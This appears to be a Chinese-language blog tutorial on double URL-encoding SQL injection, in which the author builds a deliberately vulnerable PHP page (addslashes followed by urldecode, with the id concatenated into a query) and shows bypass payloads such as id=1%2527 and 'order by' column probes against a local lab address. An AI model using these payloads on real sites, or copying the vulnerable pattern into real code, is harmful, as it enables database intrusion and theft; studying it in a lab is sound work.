二次编码注入原理
为什么要进行编码,有点应为原始的格式并不适合传输
比如
要是上面的这个符号在http传输中会和原始的有冲突
原理

urlencode()函数就是URL编码的
1 2 3 4
| <?php $str = "%25"; echo 'urlencode($str); ?>
|
结果等于
上面的%25
url解码后就是%

%27
就是'

实战
实验环境搭建
应为没有实验环境我就自己写了一个
a.php文件
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> </head> <body>
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> </head> <body>
<?php $id=addslashes($_GET['id']); $s = "127.0.0.1"; $u= "root"; $p = "123456";
$conn = mysqli_connect($s, $u, $p); if (!$conn) { die("连接失败: " . mysqli_connect_error()); }
$id=urldecode($id);
mysqli_select_db($conn,'security'); $a="SELECT * FROM users WHERE id='$id'"; echo 'sql执行的语句: '.$a.'<br/>';
$b=mysqli_query($conn,$a); echo '输出结果:'; $DuQu=mysqli_fetch_assoc($b);
if ($DuQu) { echo "\"".$DuQu['username']."\"".$DuQu['password']."<br/>"; }
mysqli_close($conn);
?>
</body> </html>
|
输入?id=1
结果

二次编码进行注入
发现漏洞
输入URL:?id=1'
结果被转意了

我们在进行宽字节注入
还是不行

我们就可以用二次编码注入进行注入了
URL地址http://192.168.0.105/a.php?id=1%2527
发现叫\
给去掉了
是存在sql注入漏洞的

进行数据读取
- 判断有几列
URL地址http://192.168.0.105/a.php?id=1%2527 order by 3 --+
显示正常

URL地址http://192.168.0.105/a.php?id=1%2527 order by 4 --+
报错

等等等等等等等等等等等等等等就不演示了